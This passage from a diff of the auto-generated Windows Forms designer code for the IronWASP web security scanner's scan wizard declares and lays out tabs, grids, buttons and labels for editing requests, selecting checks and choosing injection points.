this.BodyTypeNormalTab = new System.Windows.Forms.TabPage(); + this.ScanBodyTypeNormalGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTypeFormatPluginTab = new System.Windows.Forms.TabPage(); + this.ASRequestBodyTabSplit = new System.Windows.Forms.SplitContainer(); + this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestBodyDataFormatSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestBodyDataFormatColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanBodyFormatPluginTypeTabs = new System.Windows.Forms.TabControl(); + this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); + this.BodyTypeFormatPluginGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestBodySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestBodyNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestBodyValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); + this.FormatXMLTB = new System.Windows.Forms.TextBox(); + this.BodyTypeCustomTab = new System.Windows.Forms.TabPage(); + this.PlaceInjectionMarkerLL = new System.Windows.Forms.LinkLabel(); + this.label10 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.label39 = new System.Windows.Forms.Label(); + this.CustomInjectionPointsHighlightLbl = new System.Windows.Forms.Label(); + this.label37 = new System.Windows.Forms.Label(); + this.CustomEndMarkerTB = new System.Windows.Forms.TextBox(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.ASApplyCustomMarkersLL = new System.Windows.Forms.LinkLabel(); + this.CustomInjectionMarkerTabs = new System.Windows.Forms.TabControl(); + this.CustomMarkerSelectionTab = new System.Windows.Forms.TabPage(); + this.CustomMarkerDisplayTab = new System.Windows.Forms.TabPage(); + this.HighlightCustomInjectionPointsRTB = new System.Windows.Forms.RichTextBox(); + this.CustomMarkerEscapingTab = new System.Windows.Forms.TabPage(); + this.CharacterEscapingStatusTB = new System.Windows.Forms.TextBox(); + this.label9 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.textBox12 = new System.Windows.Forms.TextBox(); + this.EncodedCharacterTB = new System.Windows.Forms.TextBox(); + this.RawCharacterTB = new System.Windows.Forms.TextBox(); + this.AddToEscapeRuleBtn = new System.Windows.Forms.Button(); + this.CharacterEscapingGrid = new System.Windows.Forms.DataGridView(); + this.EscapingSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.RawCharacterColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ArrowColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.EncodedCharacterColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CharacterEscapingMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.EditRuleToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.DeleteRuleToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.CustomStartMarkerTB = new System.Windows.Forms.TextBox(); + this.label38 = new System.Windows.Forms.Label(); + this.CookieTab = new System.Windows.Forms.TabPage(); + this.ScanCookieGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestCookieSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestCookieNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestCookieValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HeadersTab = new System.Windows.Forms.TabPage(); + this.ScanHeadersGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestHeadersSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestHeadersNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestHeadersValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParameterNamesTab = new System.Windows.Forms.TabPage(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.ScanHeadersParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ScanCookieParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ScanBodyParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ScanQueryParameterNameCB = new System.Windows.Forms.CheckBox(); + this.BlackListTab = new System.Windows.Forms.TabPage(); + this.textBox8 = new System.Windows.Forms.TextBox(); + this.textBox7 = new System.Windows.Forms.TextBox(); + this.ParametersBlacklistTB = new System.Windows.Forms.TextBox(); + this.CustomizeTab = new System.Windows.Forms.TabPage(); + this.StartLoginRecorderLL = new System.Windows.Forms.LinkLabel(); + this.LoginRecordingComboBox = new System.Windows.Forms.ComboBox(); + this.label4 = new System.Windows.Forms.Label(); + this.SessionPluginsCombo = new System.Windows.Forms.ComboBox(); + this.ScanThreadLimitCB = new System.Windows.Forms.CheckBox(); + this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); + this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.label11 = new System.Windows.Forms.Label(); + this.Step3StatusTB = new System.Windows.Forms.TextBox(); + this.StepFourPreviousBtn = new System.Windows.Forms.Button(); + this.FinalBtn = new System.Windows.Forms.Button(); + this.SetCustomInjectionPointsSTB = new IronWASP.SearchableTextBox(); + this.BaseTabs.SuspendLayout(); + this.RequestTab.SuspendLayout(); + this.RequestTabs.SuspendLayout(); + this.tabPage20.SuspendLayout(); + this.tabPage21.SuspendLayout(); + this.ChecksTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); + this.InjectionTab.SuspendLayout(); + this.InjectionPointBaseTabs.SuspendLayout(); + this.AllTab.SuspendLayout(); + this.panel7.SuspendLayout(); + this.panel6.SuspendLayout(); + this.panel4.SuspendLayout(); + this.panel3.SuspendLayout(); + this.panel1.SuspendLayout(); + this.URLTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanURLGrid)).BeginInit(); + this.QueryTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanQueryGrid)).BeginInit(); + this.BodyTab.SuspendLayout(); + this.BodyInjectTypeTabs.SuspendLayout(); + this.BodyTypeNormalTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeNormalGrid)).BeginInit(); + this.BodyTypeFormatPluginTab.SuspendLayout(); + this.ASRequestBodyTabSplit.Panel1.SuspendLayout(); + this.ASRequestBodyTabSplit.Panel2.SuspendLayout(); + this.ASRequestBodyTabSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); + this.ScanBodyFormatPluginTypeTabs.SuspendLayout(); + this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.BodyTypeFormatPluginGrid)).BeginInit(); + this.BodyTypeFormatPluginXMLTab.SuspendLayout(); + this.BodyTypeCustomTab.SuspendLayout(); + this.CustomInjectionMarkerTabs.SuspendLayout(); + this.CustomMarkerSelectionTab.SuspendLayout(); + this.CustomMarkerDisplayTab.SuspendLayout(); + this.CustomMarkerEscapingTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CharacterEscapingGrid)).BeginInit(); + this.CharacterEscapingMenu.SuspendLayout(); + this.CookieTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanCookieGrid)).BeginInit(); + this.HeadersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanHeadersGrid)).BeginInit(); + this.ParameterNamesTab.SuspendLayout(); + this.BlackListTab.SuspendLayout(); + this.CustomizeTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.RequestTab); + this.BaseTabs.Controls.Add(this.ChecksTab); + this.BaseTabs.Controls.Add(this.InjectionTab); + this.BaseTabs.Controls.Add(this.CustomizeTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 561); + this.BaseTabs.TabIndex = 15; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // RequestTab + // + this.RequestTab.Controls.Add(this.Step0StatusTB); + this.RequestTab.Controls.Add(this.RequestSSLCB); + this.RequestTab.Controls.Add(this.CancelBtn); + this.RequestTab.Controls.Add(this.Step0TopMsgTB); + this.RequestTab.Controls.Add(this.StepOneNextBtn); + this.RequestTab.Controls.Add(this.RequestTabs); + this.RequestTab.Location = new System.Drawing.Point(4, 25); + this.RequestTab.Margin = new System.Windows.Forms.Padding(0); + this.RequestTab.Name = "RequestTab"; + this.RequestTab.Padding = new System.Windows.Forms.Padding(5); + this.RequestTab.Size = new System.Drawing.Size(876, 532); + this.RequestTab.TabIndex = 0; + this.RequestTab.Text = " Edit Request "; + this.RequestTab.UseVisualStyleBackColor = true; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(131, 476); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(607, 48); + this.Step0StatusTB.TabIndex = 6; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // RequestSSLCB + // + this.RequestSSLCB.AutoSize = true; + this.RequestSSLCB.Location = new System.Drawing.Point(13, 466); + this.RequestSSLCB.Name = "RequestSSLCB"; + this.RequestSSLCB.Size = new System.Drawing.Size(114, 17); + this.RequestSSLCB.TabIndex = 5; + this.RequestSSLCB.Text = "Request uses SSL"; + this.RequestSSLCB.UseVisualStyleBackColor = true; + this.RequestSSLCB.CheckedChanged += new System.EventHandler(this.RequestSSLCB_CheckedChanged); + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.CancelBtn.Location = new System.Drawing.Point(3, 496); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 4; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // Step0TopMsgTB + // + this.Step0TopMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0TopMsgTB.Dock = System.Windows.Forms.DockStyle.Top; + this.Step0TopMsgTB.Location = new System.Drawing.Point(5, 5); + this.Step0TopMsgTB.Multiline = true; + this.Step0TopMsgTB.Name = "Step0TopMsgTB"; + this.Step0TopMsgTB.ReadOnly = true; + this.Step0TopMsgTB.Size = new System.Drawing.Size(866, 70); + this.Step0TopMsgTB.TabIndex = 3; + this.Step0TopMsgTB.TabStop = false; + this.Step0TopMsgTB.Text = resources.GetString("Step0TopMsgTB.Text"); + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(755, 495); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 2; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // RequestTabs + // + this.RequestTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.RequestTabs.Controls.Add(this.tabPage20); + this.RequestTabs.Controls.Add(this.tabPage21); + this.RequestTabs.Location = new System.Drawing.Point(5, 82); + this.RequestTabs.Margin = new System.Windows.Forms.Padding(0); + this.RequestTabs.Multiline = true; + this.RequestTabs.Name = "RequestTabs"; + this.RequestTabs.Padding = new System.Drawing.Point(0, 0); + this.RequestTabs.SelectedIndex = 0; + this.RequestTabs.Size = new System.Drawing.Size(866, 368); + this.RequestTabs.TabIndex = 1; + // + // tabPage20 + // + this.tabPage20.Controls.Add(this.RequestRawHeadersIDV); + this.tabPage20.Location = new System.Drawing.Point(4, 22); + this.tabPage20.Margin = new System.Windows.Forms.Padding(0); + this.tabPage20.Name = "tabPage20"; + this.tabPage20.Size = new System.Drawing.Size(858, 342); + this.tabPage20.TabIndex = 0; + this.tabPage20.Text = "Raw Headers"; + this.tabPage20.UseVisualStyleBackColor = true; + // + // RequestRawHeadersIDV + // + this.RequestRawHeadersIDV.AutoSize = true; + this.RequestRawHeadersIDV.Dock = System.Windows.Forms.DockStyle.Fill; + this.RequestRawHeadersIDV.Location = new System.Drawing.Point(0, 0); + this.RequestRawHeadersIDV.Margin = new System.Windows.Forms.Padding(0); + this.RequestRawHeadersIDV.Name = "RequestRawHeadersIDV"; + this.RequestRawHeadersIDV.ReadOnly = false; + this.RequestRawHeadersIDV.Size = new System.Drawing.Size(858, 342); + this.RequestRawHeadersIDV.TabIndex = 0; + this.RequestRawHeadersIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.RequestRawHeadersIDV_IDVTextChanged); + // + // tabPage21 + // + this.tabPage21.Controls.Add(this.RequestRawBodyIDV); + this.tabPage21.Location = new System.Drawing.Point(4, 22); + this.tabPage21.Margin = new System.Windows.Forms.Padding(0); + this.tabPage21.Name = "tabPage21"; + this.tabPage21.Size = new System.Drawing.Size(858, 342); + this.tabPage21.TabIndex = 1; + this.tabPage21.Text = "Raw Body"; + this.tabPage21.UseVisualStyleBackColor = true; + // + // RequestRawBodyIDV + // + this.RequestRawBodyIDV.AutoSize = true; + this.RequestRawBodyIDV.Dock = System.Windows.Forms.DockStyle.Fill; + this.RequestRawBodyIDV.Location = new System.Drawing.Point(0, 0); + this.RequestRawBodyIDV.Margin = new System.Windows.Forms.Padding(0); + this.RequestRawBodyIDV.Name = "RequestRawBodyIDV"; + this.RequestRawBodyIDV.ReadOnly = false; + this.RequestRawBodyIDV.Size = new System.Drawing.Size(858, 342); + this.RequestRawBodyIDV.TabIndex = 1; + this.RequestRawBodyIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.RequestRawBodyIDV_IDVTextChanged); + // + // ChecksTab + // + this.ChecksTab.Controls.Add(this.Step1StatusTB); + this.ChecksTab.Controls.Add(this.SelectAllChecksCB); + this.ChecksTab.Controls.Add(this.Step1TopMsgTB); + this.ChecksTab.Controls.Add(this.StepTwoPreviousBtn); + this.ChecksTab.Controls.Add(this.StepTwoNextBtn); + this.ChecksTab.Controls.Add(this.ScanPluginsGrid); + this.ChecksTab.Location = new System.Drawing.Point(4, 25); + this.ChecksTab.Margin = new System.Windows.Forms.Padding(0); + this.ChecksTab.Name = "ChecksTab"; + this.ChecksTab.Padding = new System.Windows.Forms.Padding(5); + this.ChecksTab.Size = new System.Drawing.Size(876, 532); + this.ChecksTab.TabIndex = 1; + this.ChecksTab.Text = " Select Checks "; + this.ChecksTab.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.Location = new System.Drawing.Point(259, 436); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(607, 50); + this.Step1StatusTB.TabIndex = 11; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // SelectAllChecksCB + // + this.SelectAllChecksCB.AutoSize = true; + this.SelectAllChecksCB.Location = new System.Drawing.Point(13, 81); + this.SelectAllChecksCB.Name = "SelectAllChecksCB"; + this.SelectAllChecksCB.Size = new System.Drawing.Size(109, 17); + this.SelectAllChecksCB.TabIndex = 10; + this.SelectAllChecksCB.Text = "Select All Checks"; + this.SelectAllChecksCB.UseVisualStyleBackColor = true; + this.SelectAllChecksCB.Click += new System.EventHandler(this.SelectAllChecksCB_Click); + // + // Step1TopMsgTB + // + this.Step1TopMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1TopMsgTB.Dock = System.Windows.Forms.DockStyle.Top; + this.Step1TopMsgTB.Location = new System.Drawing.Point(5, 5); + this.Step1TopMsgTB.Multiline = true; + this.Step1TopMsgTB.Name = "Step1TopMsgTB"; + this.Step1TopMsgTB.ReadOnly = true; + this.Step1TopMsgTB.Size = new System.Drawing.Size(866, 70); + this.Step1TopMsgTB.TabIndex = 9; + this.Step1TopMsgTB.TabStop = false; + this.Step1TopMsgTB.Text = "\r\nThe list below shows the various web application security vulnerabilities that " + + "IronWAP can scan for.\r\n\r\nSelect the checks that you want to be performed on this" + + " request.\r\n"; + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(10, 499); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 8; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StepTwoNextBtn + // + this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoNextBtn.Location = new System.Drawing.Point(760, 500); + this.StepTwoNextBtn.Name = "StepTwoNextBtn"; + this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoNextBtn.TabIndex = 7; + this.StepTwoNextBtn.Text = "Next Step ->"; + this.StepTwoNextBtn.UseVisualStyleBackColor = true; + this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); + // + // ScanPluginsGrid + // + this.ScanPluginsGrid.AllowUserToAddRows = false; + this.ScanPluginsGrid.AllowUserToDeleteRows = false; + this.ScanPluginsGrid.AllowUserToResizeRows = false; + this.ScanPluginsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn9, + this.dataGridViewTextBoxColumn27}); + this.ScanPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.ScanPluginsGrid.Location = new System.Drawing.Point(1, 109); + this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanPluginsGrid.MultiSelect = false; + this.ScanPluginsGrid.Name = "ScanPluginsGrid"; + this.ScanPluginsGrid.ReadOnly = true; + this.ScanPluginsGrid.RowHeadersVisible = false; + this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanPluginsGrid.Size = new System.Drawing.Size(240, 298); + this.ScanPluginsGrid.TabIndex = 6; + this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); + // + // dataGridViewCheckBoxColumn9 + // + this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn9.HeaderText = ""; + this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; + this.dataGridViewCheckBoxColumn9.ReadOnly = true; + this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn9.Width = 20; + // + // dataGridViewTextBoxColumn27 + // + this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn27.HeaderText = "SELECT CHECKS"; + this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; + this.dataGridViewTextBoxColumn27.ReadOnly = true; + this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // InjectionTab + // + this.InjectionTab.Controls.Add(this.Step2StatusTB); + this.InjectionTab.Controls.Add(this.Step2ProgressBar); + this.InjectionTab.Controls.Add(this.Step2TopMsgTB); + this.InjectionTab.Controls.Add(this.StepThreePreviousBtn); + this.InjectionTab.Controls.Add(this.StepThreeNextBtn); + this.InjectionTab.Controls.Add(this.InjectionPointBaseTabs); + this.InjectionTab.Location = new System.Drawing.Point(4, 25); + this.InjectionTab.Name = "InjectionTab"; + this.InjectionTab.Padding = new System.Windows.Forms.Padding(5); + this.InjectionTab.Size = new System.Drawing.Size(876, 532); + this.InjectionTab.TabIndex = 2; + this.InjectionTab.Text = " Set Injection Points "; + this.InjectionTab.UseVisualStyleBackColor = true; + // + // Step2StatusTB + // + this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2StatusTB.Location = new System.Drawing.Point(124, 509); + this.Step2StatusTB.Multiline = true; + this.Step2StatusTB.Name = "Step2StatusTB"; + this.Step2StatusTB.Size = new System.Drawing.Size(628, 18); + this.Step2StatusTB.TabIndex = 13; + this.Step2StatusTB.TabStop = false; + this.Step2StatusTB.Visible = false; + // + // Step2ProgressBar + // + this.Step2ProgressBar.Location = new System.Drawing.Point(269, 505); + this.Step2ProgressBar.MarqueeAnimationSpeed = 10; + this.Step2ProgressBar.Name = "Step2ProgressBar"; + this.Step2ProgressBar.Size = new System.Drawing.Size(301, 22); + this.Step2ProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.Step2ProgressBar.TabIndex = 12; + // + // Step2TopMsgTB + // + this.Step2TopMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2TopMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2TopMsgTB.Location = new System.Drawing.Point(5, 5); + this.Step2TopMsgTB.Multiline = true; + this.Step2TopMsgTB.Name = "Step2TopMsgTB"; + this.Step2TopMsgTB.ReadOnly = true; + this.Step2TopMsgTB.Size = new System.Drawing.Size(866, 65); + this.Step2TopMsgTB.TabIndex = 11; + this.Step2TopMsgTB.TabStop = false; + this.Step2TopMsgTB.Text = resources.GetString("Step2TopMsgTB.Text"); + // + // StepThreePreviousBtn + // + this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreePreviousBtn.Location = new System.Drawing.Point(3, 498); + this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; + this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreePreviousBtn.TabIndex = 10; + this.StepThreePreviousBtn.Text = "<-Previous Step"; + this.StepThreePreviousBtn.UseVisualStyleBackColor = true; + this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); + // + // StepThreeNextBtn + // + this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreeNextBtn.Location = new System.Drawing.Point(758, 499); + this.StepThreeNextBtn.Name = "StepThreeNextBtn"; + this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreeNextBtn.TabIndex = 9; + this.StepThreeNextBtn.Text = "Next Step ->"; + this.StepThreeNextBtn.UseVisualStyleBackColor = true; + this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); + // + // InjectionPointBaseTabs + // + this.InjectionPointBaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.InjectionPointBaseTabs.Controls.Add(this.AllTab); + this.InjectionPointBaseTabs.Controls.Add(this.URLTab); + this.InjectionPointBaseTabs.Controls.Add(this.QueryTab); + this.InjectionPointBaseTabs.Controls.Add(this.BodyTab); + this.InjectionPointBaseTabs.Controls.Add(this.CookieTab); + this.InjectionPointBaseTabs.Controls.Add(this.HeadersTab); + this.InjectionPointBaseTabs.Controls.Add(this.ParameterNamesTab); + this.InjectionPointBaseTabs.Controls.Add(this.BlackListTab); + this.InjectionPointBaseTabs.Location = new System.Drawing.Point(0, 75); + this.InjectionPointBaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.InjectionPointBaseTabs.Name = "InjectionPointBaseTabs"; + this.InjectionPointBaseTabs.Padding = new System.Drawing.Point(0, 0); + this.InjectionPointBaseTabs.SelectedIndex = 0; + this.InjectionPointBaseTabs.Size = new System.Drawing.Size(871, 420); + this.InjectionPointBaseTabs.TabIndex = 1; + this.InjectionPointBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.InjectionPointBaseTabs_Selecting); + this.InjectionPointBaseTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.InjectionPointBaseTabs_Deselecting); + // + // AllTab + // + this.AllTab.BackColor = System.Drawing.Color.White; + this.AllTab.Controls.Add(this.ScanHeadersCB); + this.AllTab.Controls.Add(this.AllHeaderPointsAvlLbl); + this.AllTab.Controls.Add(this.panel7); + this.AllTab.Controls.Add(this.AllHeaderPointsSelectedLbl); + this.AllTab.Controls.Add(this.panel6); + this.AllTab.Controls.Add(this.panel4); + this.AllTab.Controls.Add(this.panel3); + this.AllTab.Controls.Add(this.AllBodyPointsSelectedLbl); + this.AllTab.Controls.Add(this.AllBodyPointsAvlLbl); + this.AllTab.Controls.Add(this.AllUrlPointsSelectedLbl); + this.AllTab.Controls.Add(this.AllUrlPointsAvlLbl); + this.AllTab.Controls.Add(this.BodyInjectionMessageLbl); + this.AllTab.Controls.Add(this.panel1); + this.AllTab.Controls.Add(this.label5); + this.AllTab.Controls.Add(this.label3); + this.AllTab.Controls.Add(this.label2); + this.AllTab.Controls.Add(this.UrlPathPartInjectionMessageLbl); + this.AllTab.Controls.Add(this.ScanURLCB); + this.AllTab.Controls.Add(this.ScanBodyCB); + this.AllTab.Location = new System.Drawing.Point(4, 22); + this.AllTab.Name = "AllTab"; + this.AllTab.Size = new System.Drawing.Size(863, 394); + this.AllTab.TabIndex = 6; + this.AllTab.Text = "All"; + // + // ScanHeadersCB + // + this.ScanHeadersCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanHeadersCB.AutoSize = true; + this.ScanHeadersCB.Location = new System.Drawing.Point(22, 257); + this.ScanHeadersCB.Name = "ScanHeadersCB"; + this.ScanHeadersCB.Size = new System.Drawing.Size(131, 17); + this.ScanHeadersCB.TabIndex = 18; + this.ScanHeadersCB.Text = "All Header Parameters"; + this.ScanHeadersCB.UseVisualStyleBackColor = true; + this.ScanHeadersCB.Click += new System.EventHandler(this.ScanHeadersCB_Click); + // + // AllHeaderPointsAvlLbl + // + 